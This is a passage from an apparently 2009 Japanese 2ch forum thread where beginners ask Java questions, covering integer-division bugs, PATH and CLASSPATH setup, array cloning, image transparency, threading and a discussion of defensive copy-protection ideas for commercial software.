0.0 20.0 20.0 20.0 20.0 20.0 20.0 20.0 20.0 20.0 となってしまいます。どこかおかしい点あるでしょうか?
初心者なのでくだらないまちがいならすみません。ちなみにエラーはないです。
0130デフォルトの名無しさん
2009/04/18(土) 23:27:34public static void main(String[] args) {
int N = 20;
int M = 10;
int i;
int j;
double d;
double[] random = new double[N];
int[] count = new int[M];
// N個の乱数がはいっている配列を作る
for(i=0;i<N;i++) {d=Math.random( );random[i] = d;}
// 回数をカウントするための長さMの配列を作る
for(i=0;i<M;i++) {count[i] = 0;}
// 配列randomから乱数を順番に抜き出し区間別にわける
for(i=0;i<N;i++){
// 配列randomから乱数を順番に抜き出す
d=random[i];
// 区間別に分ける
for(j=0;j<M;j++){
// もし乱数dがj番目に入っていたら
if((j/M<=d)&&(d<j+1/M)){
// そのj番目のカウントを一つ増やす
count[j]=count[j]+1;
}
else{}
}}
// count配列を表示する
for(j=0;j<M;j++){d=count[j];System.out.println(d);}
}}
0131デフォルトの名無しさん
2009/04/18(土) 23:37:42なんか、ここが怪しい。
if((j/M<=d)&&(d<j+1/M)){
// そのj番目のカウントを一つ増やす
count[j]=count[j]+1;
}
整数型として処理された場合、意図した動きをしないような気がする
if(((double)j/M<=d)&&(d<(double)(j+1)/M)){
// そのj番目のカウントを一つ増やす
count[j]=count[j]+1;
}
これでどうだろ?
0132デフォルトの名無しさん
2009/04/18(土) 23:51:09ありがとうございます!できました。
本当に助かりました><
0133デフォルトの名無しさん
2009/04/19(日) 00:18:37もっと世界を広げたほうがいいんじゃない?
Cの構造体内にある配列
0134デフォルトの名無しさん
2009/04/19(日) 00:20:340135デフォルトの名無しさん
2009/04/19(日) 00:22:01普通に思いついたが俺は大人なので言わなかった。
0136デフォルトの名無しさん
2009/04/19(日) 00:24:030137デフォルトの名無しさん
2009/04/19(日) 00:51:36やべぇ
ここはジャヴァすれだから禁句だったか!
0138デフォルトの名無しさん
2009/04/19(日) 00:59:150139デフォルトの名無しさん
2009/04/19(日) 01:00:080140デフォルトの名無しさん
2009/04/19(日) 01:06:430141デフォルトの名無しさん
2009/04/19(日) 01:07:51スレ間違えた
0142デフォルトの名無しさん
2009/04/19(日) 01:14:540143デフォルトの名無しさん
2009/04/19(日) 01:35:54数年後(64bits os)には64k bytesぐらいまでは値渡しでもいいんでないかと思う。
ジャバには関係ないけど。
0144デフォルトの名無しさん
2009/04/19(日) 01:37:280145デフォルトの名無しさん
2009/04/19(日) 04:11:54文字列の中から特定の文字を見つけてくれるアルゴリズムを教えてください。
0146デフォルトの名無しさん
2009/04/19(日) 04:26:13int count = 0;
for(int i=0; i<text.length(); i++){
char ch = text.charAt(i);
if(ch == 'A') count ++;
length ++;
}
System.out.printf("長さ %d 文字, A は %d 文字", length, count);
0147デフォルトの名無しさん
2009/04/19(日) 04:31:010148デフォルトの名無しさん
2009/04/19(日) 11:04:07釣られてるぞ、おまえ……。(嘘は書いてないけど普通はこんなことしない)
http://java.sun.com/javase/ja/6/docs/ja/api/java/lang/String.html
を上から下までよく読め。
0149デフォルトの名無しさん
2009/04/19(日) 13:14:16JDKをどうしても入手出来ません・・・
0150デフォルトの名無しさん
2009/04/19(日) 13:17:21定価19800円だ
0151デフォルトの名無しさん
2009/04/19(日) 13:20:14スレ違い
アルゴリズム総合スレ in ム板
ttp://pc12.2ch.net/test/read.cgi/tech/1217773415/
0152デフォルトの名無しさん
2009/04/19(日) 13:48:19http://java.sun.com/javase/downloads/index.jsp
0153デフォルトの名無しさん
2009/04/19(日) 16:05:16BufferedImage img1= new BufferedImage(400, 400. TYPE_INT_RGB);;
この作ったイメージをfillRectなどでnew Color(0,0,0)で塗りつぶすと透明でない黒になるようですが
全くの透明色で書き込むにはどうすればいいですか?
0154デフォルトの名無しさん
2009/04/19(日) 16:14:40Javaはどんなところに使われてますか?
またJava特徴や利点ってなんですか?
0155デフォルトの名無しさん
2009/04/19(日) 16:16:470156デフォルトの名無しさん
2009/04/19(日) 16:25:33いろんなところ。
特徴、うーん。ちょっとでも間違ったらコンパイルエラーが出るところかな。
それが信頼性を担保しているのかもしれないが、
慣れた人には窮屈でたまらないと思う。
0157デフォルトの名無しさん
2009/04/19(日) 16:26:57しかし
Color(0,0,0,0)で白になってしまいました
最期の0が透明の印ではないんですかね?
0158デフォルトの名無しさん
2009/04/19(日) 16:32:560159デフォルトの名無しさん
2009/04/19(日) 16:33:25Webアプリケーションにおけるサーバサイドプログラム(業務アプリとか)、
JavaAppletなどのWebブラウザへの組み込み(株式のリアルタイム表示とか)、
データベースやCADなどのUI部の実装、携帯端末上でのアプリケーション(iアプリとか)
利点:
プラットフォーム(PC、携帯、WindowsやLinuxのOS)間での移植性が凄い。
Windows上で作成した実行ファイル(jar)がLinuxやSolaris、HP-UXとかでも動く。
0160デフォルトの名無しさん
2009/04/19(日) 16:39:33ありがとうございます。
難しいですね。 参考にさせていただきます。
ありがとうございました。
>>159
おお!まさにそのような解答をもとめておりました!
ありがとうございます!
最大の利点は相互性というところでしょうか?
0161デフォルトの名無しさん
2009/04/19(日) 16:45:430162デフォルトの名無しさん
2009/04/19(日) 16:48:47「'javac' は、内部コマンドまたは外部コマンド、
操作可能なプログラムまたはバッチ ファイルとして認識されていません。」
というコメントがでます。path設定を試行錯誤してみたのですが、なかなか治りません。
http://sunjava.seesaa.net/category/3506092-1.html
ここの通りに最新のjavaを設定しているのですが、どこか不備があるのでしょうか・・・?
0163デフォルトの名無しさん
2009/04/19(日) 17:43:12path設定を試行錯誤するレベルならマッサラな状態からやり直した方が良し。
試行錯誤する場合には、全部消して最初からやり直すこと。
その際に手順をキチンとノートに書きとめること。後で再現できるように。
0164デフォルトの名無しさん
2009/04/19(日) 18:21:20・jdkをインストールしたディレクトリはどこ?
・環境変数に追加したセミコロン以降はどのように設定したの?
コマンドプロントで"path"か"set"って入力した結果にpathの項目に
ちゃんと追加したpathが反映されてる?
0165デフォルトの名無しさん
2009/04/19(日) 19:40:37Cのすぐ下にjdkはインストールしました。
セミコロン以下は;C\jdk\binと設定しています。
setを入力したところ、pathの設定の最後に;C\jdk\binと入力されていたので
反映はされていると思います。
0166デフォルトの名無しさん
2009/04/19(日) 20:00:31;C:\jdk\bin なところが
;C\jdk\bin になってたようです・・・。
お騒がせしました。
0167デフォルトの名無しさん
2009/04/19(日) 21:06:37いざ実行しようとすると
「could not create the java virtual machine」
といったエラーが表示されてしまいます。
これの解決方法ってどうすればいいんでしょうか?
0168デフォルトの名無しさん
2009/04/19(日) 21:22:11の前に、原因を示すメッセージが出てはいないか?
0169デフォルトの名無しさん
2009/04/19(日) 21:24:27一回アンインストしてJDKだけ入れ直してみてはどうか
0170デフォルトの名無しさん
2009/04/19(日) 21:24:50D:\フォルダ名>Java Hello
could not create the java virtual machine
ってな感じなので・・・
0171デフォルトの名無しさん
2009/04/19(日) 21:25:500172デフォルトの名無しさん
2009/04/19(日) 21:29:11JDKを入れなおすより、JREを最新にしてみるのがいいと思うんだが・・・もう遅いか。
0173デフォルトの名無しさん
2009/04/19(日) 21:39:36JREもJDKも最新はJRE 6 Update 13とJDK 6 Update 13で間違いないですよね?
どうしてなんでしょうか
0174デフォルトの名無しさん
2009/04/19(日) 21:42:09あとスレッドから戻り値が欲しい時はどうやればいいのでしょうか?
0175デフォルトの名無しさん
2009/04/19(日) 21:45:32> ECHO %CLASSPATH%
で何も表示されないか、. が入っていればOK。
ちなみに、俺の設定だと
.;C:\Program Files\Java\jre6\lib\ext\QTJava.zip
QTJava.zip は QuickTime のクラスで、iPod を使うと入るらしい。
そして、たまに .; が頭に入らないで設定されていたりするらしい。(バグ)
.その場合は ; を頭に追加。
0176デフォルトの名無しさん
2009/04/19(日) 21:50:34extends Thread か implements Runnable しているだろうから、インスタンス変数
として受け渡しすればOK。
synchronized で同期させるのを忘れると悲しい出来事が起こることがあるので
注意な。
0177デフォルトの名無しさん
2009/04/19(日) 21:53:21【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI 】制限なし
【 期限 】4月21日
【 Ver 】1.6.0_11
【 補足 】途中までやったのですが、classの使い方が理解できていないせいでエラーが出まして・・・
エラーの出た部分を問題文とは別にmywork.txtという名前でzipに添付しましたので、
何らかのヒントをいただけると幸いです
0178デフォルトの名無しさん
2009/04/19(日) 21:53:46.;C:\Program Files\QuickTime\QTSystem\QTJava.zip
と出ました。一応大丈夫・・・なんでしょうか?
0179デフォルトの名無しさん
2009/04/19(日) 21:55:48スレッド関連はjava.util.concurrentパッケージを利用して
値を戻す場合はFutureを使うと楽
0181デフォルトの名無しさん
2009/04/19(日) 22:03:16回答ありがとうございます
確かにそうしたら、引数とか戻り値とか関係なさそうですね・・・
>>179
回答ありがとうございます
そのメソッドについて調べてみます
0182デフォルトの名無しさん
2009/04/19(日) 22:09:27おおお、知らなかったぁ。これは便利。どれだけ古いんだ自分。
でも、初学者だと原理をすっとばしてしまうと分かりづらくないか?
と思うこと自体が歳くった証拠かも。
0183デフォルトの名無しさん
2009/04/19(日) 22:22:02まあconcurrentパッケージはマルチスレッドプログラミングの面倒くさいけれど定式化できる部分をまとめたものなので
指摘の通り初学者は最初は利用せずにやってみてマルチスレッド関連の諸問題を体感した方が教育的見地からはいいのかもしれない
というか基礎は結局勉強していないとconcurrentパッケージの使い方自体が分からないかも
0184デフォルトの名無しさん
2009/04/19(日) 22:22:05大丈夫そうだねぇ・・・
ダウンロードページ http://java.sun.com/javase/downloads/index.jsp
からJRE 6 Update 13をダウンロードしてきて入れてみても駄目なのかな?
0185デフォルトの名無しさん
2009/04/19(日) 22:30:54>java -version
の結果はどうなってる?
0186デフォルトの名無しさん
2009/04/19(日) 22:41:25そうはいってもconcurrentはあまり使われてないんでは?
残念なことですが、Threadはあまり話題にならないし。
0187デフォルトの名無しさん
2009/04/19(日) 22:47:04話題にはならんでしょうね。
0188デフォルトの名無しさん
2009/04/19(日) 22:47:26うん
全てを解決する銀の弾丸じゃないし使わなくて済むのなら使う必要はない
知っているとスレッド関連で面倒なコードを自分で書く必要が減る可能性があるという程度
0189デフォルトの名無しさん
2009/04/19(日) 22:52:580190デフォルトの名無しさん
2009/04/19(日) 22:55:41業務開発が concurrent 使いまくってるようなプロジェクトなんか入りたくねぇ。
0191デフォルトの名無しさん
2009/04/19(日) 22:58:31http://www.nextindex.net/java/index.html
移転先もしくはミラーをご存知のかたはいらっしゃいますでしょうか。
お教え乞います。
0192デフォルトの名無しさん
2009/04/19(日) 23:12:02こういう(作者のやる気がなくなった)個人のサイトこそオープンプロジェクト(WIKI)に寄贈して発展させればいいと思うけどね。
0193デフォルトの名無しさん
2009/04/19(日) 23:12:21lies a medium-sized web site, and all of its contents,
a javaty and insignificant site, is now dead...
0194デフォルトの名無しさん
2009/04/19(日) 23:15:15なんだ?同じようなことかいてるけど、それにしても読みにくい英文だな・・・
0195デフォルトの名無しさん
2009/04/20(月) 01:41:360196デフォルトの名無しさん
2009/04/20(月) 02:06:10IEは起動するんですが、白い画面が出ます。
import java.io.IOException;
public class IeStart {
public static void main(String[] args) {
try {
String url = "http://www.yahoo.co.jp";
String browser = "C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE";
Runtime rt = Runtime.getRuntime();
rt.exec(new String[] {browser,url});
} catch (IOException ex) {
ex.printStackTrace();
}
}
}
0197デフォルトの名無しさん
2009/04/20(月) 02:11:24desktop.browse(new URI(url));
http://java.sun.com/javase/ja/6/docs/ja/api/java/awt/Desktop.html
0198デフォルトの名無しさん
2009/04/20(月) 02:17:46ありがとうございました
0199デフォルトの名無しさん
2009/04/20(月) 04:56:47JAXBをつかって
DatatypeConverter.parseInt("+1")
0200デフォルトの名無しさん
2009/04/20(月) 06:30:44javascriptが必ず入っている訳じゃないのは痛いかな。
たしかGroovyが標準化されるんだっけ?この手のユーティリティ作りには貢献してくれるかも。
0201デフォルトの名無しさん
2009/04/20(月) 06:34:57Number value = (Number)XPathFactory.newInstance().newXPath().evaluate("1+1", dummy, XPathConstants.NUMBER);
四則演算程度ならプラットフォーム非依存で追加ライブラリも必要ない XPath が良い。
Java 側から変数も渡せるし。
0202デフォルトの名無しさん
2009/04/20(月) 06:40:510203デフォルトの名無しさん
2009/04/20(月) 06:52:34XPathFunctionResolver を実装すれば関数を用意することも出来る。DOM は完全にダミーで良い。
ちょっとした判定ロジックを外部定義しておきたい時に XPath は便利。
0204デフォルトの名無しさん
2009/04/20(月) 06:56:38どうしてもスクリプト使いたいならJSR-223のページからScripting APIの実装とエンジンのライブラリを自分で用意すればいい。
0205デフォルトの名無しさん
2009/04/20(月) 16:02:23コピー元を変更したらコピー先も変更されるとされているけど、
char[] char1 = {'A', 'B'}で配列作ってcloneメソッドでコピーして、
コピー元を変更してもコピー先は変更されてないんだけど、
charの配列はオブジェクトじゃないから大丈夫なんですか?
0206デフォルトの名無しさん
2009/04/20(月) 16:20:10> コピー元を変更したらコピー先も変更される
これが偽
0207デフォルトの名無しさん
2009/04/20(月) 17:31:02public static void main(String[] args) {
StringBuffer[] hairetu = new StringBuffer[2];
hairetu[0] = new StringBuffer("aaaaaa");
hairetu[1] = new StringBuffer("cccccc");
StringBuffer[] hairetu99 = new StringBuffer[2];
hairetu99 = (StringBuffer[])hairetu.clone();
//hairetu99[0] = hairetu99[0].replace(0, 6, "zzzzzz");//ココ1
hairetu99[0] = hairetu[1];//ココ2
System.out.println("hairetu[0] "+ hairetu[0]);
System.out.println("hairetu99[0] "+ hairetu99[0]);
}}
ココ1とココ2を切り替えると結果が変わるのはどうしてでしょうか。
ココ1ではコピー元も変わってしまい
ココ2ではコピー元は変わらないんですけど。
0208デフォルトの名無しさん
2009/04/20(月) 17:49:44基本: 配列に対するクローンは、配列の要素をクローンしない。
http://javafaq.jp/S006.html#S006-09
で、ココ1の場合はhairetu99[0].replace()した段階でhairetu99[0]が指
すオブジェクト(==hairetu[0]に入っているオブジェクト)の内容が書き
変わる。replace()だけで書き変わるので、ココ1の代入文にはまったく
意味がない。
ココ2の場合は、双方の配列から指されているオブジェクトを書き換えて
いるわけじゃない。配列内から指す先を繋ぎ変えているだけ。
0209デフォルトの名無しさん
2009/04/20(月) 18:14:35clone一発じゃ、オブジェクトの"実態"まではコピーできないよ。deep-copy,shallow-copyで調べてみよう。
0211デフォルトの名無しさん
2009/04/20(月) 18:38:32マルチスレッドについての質問なのですが
クライアント1がサーバーから出される質問に答えている間
クライアント2はクライアント1が受け取った質問とクライアント1が答えた結果を
受け取るのみにするにはどのような条件を作れば良いのでしょうか?
スレッドはwait()になっててもサーバーから情報はクライアントにパスできるかどうかわからなくて
困っています。
0212デフォルトの名無しさん
2009/04/20(月) 18:44:52とりあえず某かのオブジェクトをロックすれば実現できることなんだけど、
一点、「クライアント2はクライアント1が受け取った質問とクライアント1が答えた結果を」とあるけど、
このフローがどういうものか自分で書ける?クライアント1はこの時、まだ回答中だと思うんだけど。
0213211
2009/04/20(月) 18:51:28クライアント2はリアルタイムでクライアント1が受け取った質問を受け取り
クライアント1が質問に答えての結果を1に送るときに2にも送らないといけないのですが。。
0214211
2009/04/20(月) 18:53:59早押しクイズゲームではないんですが
クイズゲームで、途中で入ってきたプレイヤーは質問と結果を受け取りながら次のゲームまで待つというものでして。
0215デフォルトの名無しさん
2009/04/20(月) 19:09:44問題の取得、回答権の取得、回答待ち、回答とその正否判断、回答と正解の配布。
これの実現には、例えばReentrantLock#tryLockあたりを使ってみよう。
これでtrueの状態を取れたら、回答権付きの回答待ち処理へ、
falseが帰ってきたら、ただの回答待ち処理へ移行する。
注意が必要なのはクライアント2は被ブロック処理であるべきということ。
そうでないのであれば、クライアント2はクライアント1が回答したかをサーバへ問い合わ続けることになる。
パフォーマンスに拘らないのであれば毎度問い合わせた方が簡単でいいけどね。
0216デフォルトの名無しさん
2009/04/20(月) 19:11:070217211
2009/04/20(月) 19:26:55それと、どなたかこのようなゲームのソースを持っておられたら見せてもらえませんか?
リンクでも構いません。
ネット以外に参考にできるものがない状態でやってるもので。。
よろしくお願いします。
0218デフォルトの名無しさん
2009/04/20(月) 19:33:01サーブレットで作りたいのか、ソケットで作りたいのかは提示した方が良い。
データベースの有る無しでも作り方は変わってくるしね。
0219211
2009/04/20(月) 19:39:21僕はソケットで作っているのでソケットでお願いします。
データベースはないですね。
テキストファイルから問題と答えをvectorかarraylistか何かに入れて使っていますので。
0220デフォルトの名無しさん
2009/04/20(月) 20:31:550221デフォルトの名無しさん
2009/04/20(月) 20:35:560222デフォルトの名無しさん
2009/04/20(月) 20:42:07cloneはシャローコピー
0223デフォルトの名無しさん
2009/04/20(月) 21:26:57new Color(0,0,0,255) で描画するとただの黒に
new Color(0,0,0,0) なら何も描画されないになってしまいます
元の色をけして透明色を書き込むにはどうすればいいですか?
0224デフォルトの名無しさん
2009/04/20(月) 22:19:22アルファ値を0にしているので、それで書いた場合は下の絵が全て見えます。
つまり、すでに透明色です。
0225デフォルトの名無しさん
2009/04/20(月) 22:35:52gr.setColor(new Color(0,0,0,0));
gr.fillRect(0,0,99,99);
特殊な書き方があるのでしょうか?
おそらく(0,0,0,0)というデータを書き込むではなく
(0,0,0という色を,0)という透明割合で書き込む、つまり0なので何も書き込まないに
なってしまったのではないか、と考えたのですが。
0226デフォルトの名無しさん
2009/04/20(月) 22:43:250227デフォルトの名無しさん
2009/04/20(月) 22:49:29ビットマップで下が見えて欲しい部分を透過色で描いておいて、それを普通に
描いておいた下絵の上に貼り付けるといった使い方をすればいい。
アニメとかで背景の上に、セルに描いた物を乗せるのと同じ。
アルファ値を適当な値にすると、アニメで言うスーパーになる。
半透明で透けて見える絵ね。
0228デフォルトの名無しさん
2009/04/20(月) 22:58:51試してくる。
0229デフォルトの名無しさん
2009/04/20(月) 23:01:11カラー(128,0,0,32)で書き込むと
そこのアルファ値はいくつになりますか?
32ですか?
あとアルファ値だけ書き換えることはできますか?
0230デフォルトの名無しさん
2009/04/20(月) 23:04:16ArrayList arry1 = new ArrayList();
ArrayList arry2 = new ArrayList();
ArrayList arry3 = new ArrayList();
arry1.add("野球");
arry2.add("バスケ");
arry3.add("ラグビー");
TreeMap tree = new TreeMap();
tree.put("1田中",arry1);
tree.put("2佐藤",arry2);
tree.put("3鈴木",arry3);
ListIterator it = tree.keySet().listIterator();
while(it.hasNext())
String key = (String)it.next();
arry = (ArrayList)tree.get(key);
System.out.println(key);
for(int i = 0; i<arry.size(); i++)
System.out.println(" " + arry.get(i));
while(it.hasPrevious())
String key = (String)it.previous();
arry = (ArrayList)tree.get(key);
System.out.println(key);
for(int i = 0; i<arry.size(); i++)
System.out.println(" " + arry.get(i));
長くて申し訳ありません、実行結果を逆方向(降順)に表示させたいのですが上手くいきません。
初心者で申し訳ないのですが間違っている点あればご指摘お願いします。
0231230
2009/04/20(月) 23:06:300232デフォルトの名無しさん
2009/04/20(月) 23:27:29Javaのscript(ようつべなどを見たりするやつです。)をオンにしたいんですが
どうやってするんですか?
0233デフォルトの名無しさん
2009/04/20(月) 23:31:11って書いてあるし、そもそも板違い
0234デフォルトの名無しさん
2009/04/21(火) 00:16:32やっぱ不安に思ったのは正しかった。Graphics.setColor(c); ではアルファ値は書き込めない。
BufferdImage.setRGB(...) で書き込まないと適用されないらしい。こんな感じ。
import java.awt.*;
import java.awt.image.*;
import javax.swing.JFrame;
public class Main extends JFrame {
BufferedImage fwd = new BufferedImage(300, 200, BufferedImage.TYPE_4BYTE_ABGR);
BufferedImage bck = new BufferedImage(300, 200, BufferedImage.TYPE_4BYTE_ABGR);
public Main() {
Graphics gr;
gr = bck.getGraphics();
gr.setColor(new Color(255,0,0));
gr.fillOval(0, 0, 300, 200);
gr = fwd.getGraphics();
gr.setColor(new Color(0, 255, 0));
gr.fillOval(0, 0, 200, 150);
gr.setPaintMode();
Color c = new Color(255, 0, 0);
gr.setColor(c);
gr.fillOval(20, 20, 150, 100);
for (int x=0; x<fwd.getWidth(); x++) {
for (int y=0; y<fwd.getHeight(); y++) {
if (fwd.getRGB(x, y)==c.getRGB()) fwd.setRGB(x, y, 0);
}
}
}
0235デフォルトの名無しさん
2009/04/21(火) 00:16:39Main main = new Main();
main.setBounds(100, 100, 500, 300);
main.setVisible(true);
}
public void paint(Graphics g) {
g.drawImage(bck, 50, 50, new ob());
g.drawImage(fwd, 40, 40, new ob());
}
static class ob implements ImageObserver {
public boolean imageUpdate(Image img, int infoflags, int x, int y, int width, int height) {
return false;
}
}
}
0236デフォルトの名無しさん
2009/04/21(火) 00:19:53横幅を指定するのはどうやるのでしょうか?
DefaultListModelで3文字ぐらいをaddしても横幅は8文字分とかにしたいです。
0237デフォルトの名無しさん
2009/04/21(火) 00:24:501.BufferedImage.TYPE_4BYTE_ABGR でアルファ値入りのイメージとして作る。
2.透過色にする予定の色を探して、アルファ値をセットする。
for (int x=0; x<fwd.getWidth(); x++) {
for (int y=0; y<fwd.getHeight(); y++) {
if (fwd.getRGB(x, y)==c.getRGB()) fwd.setRGB(x, y, 0);
}
}
なんでアルファ値を書き込めるようにしなかったのかなぁ???
0238デフォルトの名無しさん
2009/04/21(火) 00:30:12javadocから辿れるJava2Dのマニュアルにやり方が書いてあったはず。
0239デフォルトの名無しさん
2009/04/21(火) 00:35:100240223
2009/04/21(火) 00:35:45おお、お手数かけました、ありがとうございます。
fwd.setRGB(x, y, 0); ですか、やってみます。
>なんでアルファ値を〜
そうですよね。
>>238
Java2Dですか。
0241デフォルトの名無しさん
2009/04/21(火) 00:39:160242デフォルトの名無しさん
2009/04/21(火) 00:40:550243デフォルトの名無しさん
2009/04/21(火) 00:43:020244デフォルトの名無しさん
2009/04/21(火) 00:45:190245デフォルトの名無しさん
2009/04/21(火) 00:45:59G1GCってその回避のためにあるのだと思ってたんだけど。
0246デフォルトの名無しさん
2009/04/21(火) 00:51:45JList...使ったこと無くて。すまんなー
0247デフォルトの名無しさん
2009/04/21(火) 00:53:14>フルGC
まあそうなんだけどさ。
昔は全部stop the worldだったけど今は並列マーク&スイープとかあるからさ。
これのときstop the worldじゃなかったような気がして。
>>244
俺はどこだったかをオーバーライドした
0248デフォルトの名無しさん
2009/04/21(火) 00:53:290249デフォルトの名無しさん
2009/04/21(火) 01:06:280250デフォルトの名無しさん
2009/04/21(火) 01:44:46違う本で勉強したほうがいいですか?
自分的に入門書には丁度良いと思うのですが。
0251デフォルトの名無しさん
2009/04/21(火) 01:50:430252デフォルトの名無しさん
2009/04/21(火) 02:03:00丁度良いと思えてるんだから浮気せずまずは一冊終えてみろ
02531/2
2009/04/21(火) 03:42:03こちらで聞かせていただきます。
Javaは最新ver、
Eclipseのガニメデ、GUI Editorを使用してパネルを作る作業なのですが、
教科書を進めていきますと「独自のパネルコンポーネント MyPanelの定義」という章で、
⇒プロジェクトとパッケージを製作(プロジェクト名を[A]、パッケージを[a]という名前にします。何でもいいみたいですが)
⇒パッケージエクスプローラーにあるパッケージをクリックして新規→クラス作成
⇒クラス名はMyPanel(任意の名前)、スーパークラスをjavax.swing.JPanelにして終了ボタンを押すとクラス定義編集画面が出る。
⇒NewJFrame.java画面に戻ってフレーム上で右クリック→Add Custom→Add custom class・・・を選択
⇒クラス選択画面が出てくるので、そこでMyPanelとクラス名を入力すると、「一致する項目」欄に作成したMyPanelクラスが出るので選択してOK
02542/2
2009/04/21(火) 03:43:23┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ ○ クラスが見つかりません |×|┃
┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ /\ Unabel to find class ┃
┃ / ┃ \ a.MyPanel . ┃
┃ / ・ \ Check that it exists in this project and that it has been built (press ┃
┃  ̄ ̄ ̄ ̄ ̄ ̄ Ctrl+B to build) . ┃
┃ [ O K ] ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
このウィンドウが出てmyPanel1が貼られません。Ctrl+Bを押しても意味がわかりませんし、
なぜ先ほど作ったはずのクラスが見つからないのかもう色々とちんぷんかんぷんです。
「お前みたいなレベルでJavaやるなカス」と聞こえてきそうな気がしますが、どなたか教えてくださいませorz
0255デフォルトの名無しさん
2009/04/21(火) 03:48:210256デフォルトの名無しさん
2009/04/21(火) 03:55:33せっかく起きていらっしゃるようなのでお聞きしたいのですが、
>>1の
>JavaScript, Ajaxの質問は、ここでは受け付けていません。
↑自分の質問はJavaScriptの質問だったのでしょうか?
先ほどEclipseスレを発見しまして、見てなんとかわかるレベルだったのですが、
こっちのスレはもうどこもかしこも頭爆発しそうで、まるで異次元の世界にいるみたいです。
もしスレ違い質問してたなら本当に申し訳ないですorz
0257デフォルトの名無しさん
2009/04/21(火) 11:00:20>>254
AA細かすぎてワロタ
0258デフォルトの名無しさん
2009/04/21(火) 12:45:53あなた誰?
「自分の質問」なんて書かれても、
ここは ID もつかない板だから、なんとも言えないと思うよ
0259デフォルトの名無しさん
2009/04/21(火) 12:55:29さあSunの次なる一手は?
今後のJavaはどうなる?
0260デフォルトの名無しさん
2009/04/21(火) 12:58:33強いて言えば相対的に仕様に対する IBM その他の影響力が強まるくらいだが
JCP にレイプされてる現状からすればあまり変わらない。
0261デフォルトの名無しさん
2009/04/21(火) 13:06:36JDBCがOracle寄りになるとかJavaの文法にOracleライクな文法が入るとか
0262デフォルトの名無しさん
2009/04/21(火) 13:47:11いやがる人間の方が多いのはわかってるんだがw
SQLの話じゃないか
0263デフォルトの名無しさん
2009/04/21(火) 13:57:140264デフォルトの名無しさん
2009/04/21(火) 14:43:14お前みたいなカスがJavaやるな
0265デフォルトの名無しさん
2009/04/21(火) 15:06:31クラックされないように色々やってくれ」的なことを言われました。
原理的に完全な対策は不可能だとは思うけど、可能な範囲でやるとしたら
どんなことをやればいいでしょう? コードの難読化とか?
なんかヒントか用語を挙げてくれるだけで助かります。
シリアルとかでググっても、シリアルを突破するサイトしか見つからないし。
0266デフォルトの名無しさん
2009/04/21(火) 15:14:15http://www.xlsoft.com/jp/products/jet/index.html?gclid=CKCRrd6ogZoCFRMupAodfRKdFw
これでも使ってみたらいいんじゃね
0267265
2009/04/21(火) 15:19:05一般的なアプリってシリアルコードを入れますよね。
あれってどんなアルゴリズムなんですかね?
シリアルコードをハードコーディングで持っているわけじゃないとすれば、何らかの数値計算
で算出しているのかな。
0268デフォルトの名無しさん
2009/04/21(火) 15:19:560269デフォルトの名無しさん
2009/04/21(火) 15:20:02あと鯖に置いてダウソ不可能にするとか
0270265
2009/04/21(火) 15:25:40逆コンパイルの難しさは
ネイティブ>Java
だと思っているんですが、違うのかな?
だからJava難読化ツールより、ネイティブの方が良いのかと。
・・・一概に言えない問題かいな。
鯖に置くのは、仕様の問題でNGっす・・・。
0271デフォルトの名無しさん
2009/04/21(火) 15:34:01・クラスファイルを難読化ツールに通す。
・ユーザ登録 & ネットワーク認証。
・ドングルのようなハード的な何か。
・身分証明書のコピーや印鑑付き同意書を提出。
0272265
2009/04/21(火) 15:40:48ありがたい! そーか、ドングルって手もあるな・・・。
本当にやるかどうかはともかく、手法の紹介は嬉しいです。
んでネットワーク認証がちと気になるんですが・・・。
1.ネットワークでアクセスしてアクティベートする
2.ソフトが使えるようになる。
これはいいとして、この「ソフトが使えるようになるフラグ」って、どこに配置して
どうやってクラックから守ればいいのでしょう?
0273デフォルトの名無しさん
2009/04/21(火) 15:44:51ネイティブにするとJavaの特性を失い、なおかつセキュリティホールを生む恐れあり。
0275デフォルトの名無しさん
2009/04/21(火) 16:07:571. 配布ごとのシリアル番号 S と適当に生成した乱数 A をひも付ける。
2. S と A から SHA などの不可逆ハッシュを使って値 X を生成。
3. S と X をソフトウェアにハードコード & コンパイル & バンドルして配布。
4. ユーザ登録時に A をローカルへ配布する。
5. ソフトウェアは S と A から生成した値が X と等しいことで認証されていることを確認。
昔、ソフト配布時のシリアル機構を妄想した時に思いついた一番単純な方法。
もちろんバイナリハックにまでは対応しきれないが、まぁ S と X から A を推測する事は
実質的に不可能だし。
0276デフォルトの名無しさん
2009/04/21(火) 16:18:500277265
2009/04/21(火) 16:32:23そーか、一般的な公開鍵方式と同じアルゴリズムでやればいいんですね。
ありがとうございます。バイナリハックは防ぎようが無いけど、出来ることは
やったって感じでしょうね。
>>276
う。
ま、まあ、仕事で指示されたからやってるわけで(笑)。
0278デフォルトの名無しさん
2009/04/21(火) 16:56:08いいかげん嘘つくの止めたら?
君のスキルじゃハックなんか到底出来ないから
0279デフォルトの名無しさん
2009/04/21(火) 17:02:270280265
2009/04/21(火) 17:15:02あ、なるほど。私がクラッカーで、そのためのハック手法を遠回しに聞きだそうとしている、
と誤解されてるんですね。
これ以上私が発言すると荒れちゃいそうなので、去ります。
親切に色んな情報を教えてくれた方々、ありがとうございました!
0281デフォルトの名無しさん
2009/04/21(火) 17:38:34いいかげ見え透いた嘘つくの止めたら?
そんなこといつまでもやってると何かあったときに誰も助けてくれないよ。
0282デフォルトの名無しさん
2009/04/21(火) 18:16:07new SimpleDateFormat("yyyy年MM月dd日 HH時mm分ss秒");
String happydate = lovedate.format(new Date());
System.out.println(happydate);
SimpleDateFormatクラスのlovedateにオブジェクトの参照を入れて、
SimpleDateFormatクラスのformatメソッドを使って現在の日付時間を取得して、
Stringクラスのhappydateにオブジェクトの参照を入れていると思うのですけど、
どうしてStringクラスで受けているんでしょうか。
formatメソッドの戻り値はStringBufferであるとAPIを見ると書いてあるのですが、
どういう経緯で、lovedate.format(new Date()がString型に変貌したのでしょうか?
0283デフォルトの名無しさん
2009/04/21(火) 18:18:23import com.sun.star.uno.UnoRuntime;
とかを全部
import com.oracle.star.uno.UnoRuntime;
に
書き換える必要はあるのでしょうか??
0284デフォルトの名無しさん
2009/04/21(火) 18:32:23引数が違う。
そこで使われているのは
StringBuffer DateFormat#format(Date date,
StringBuffer toAppendTo,
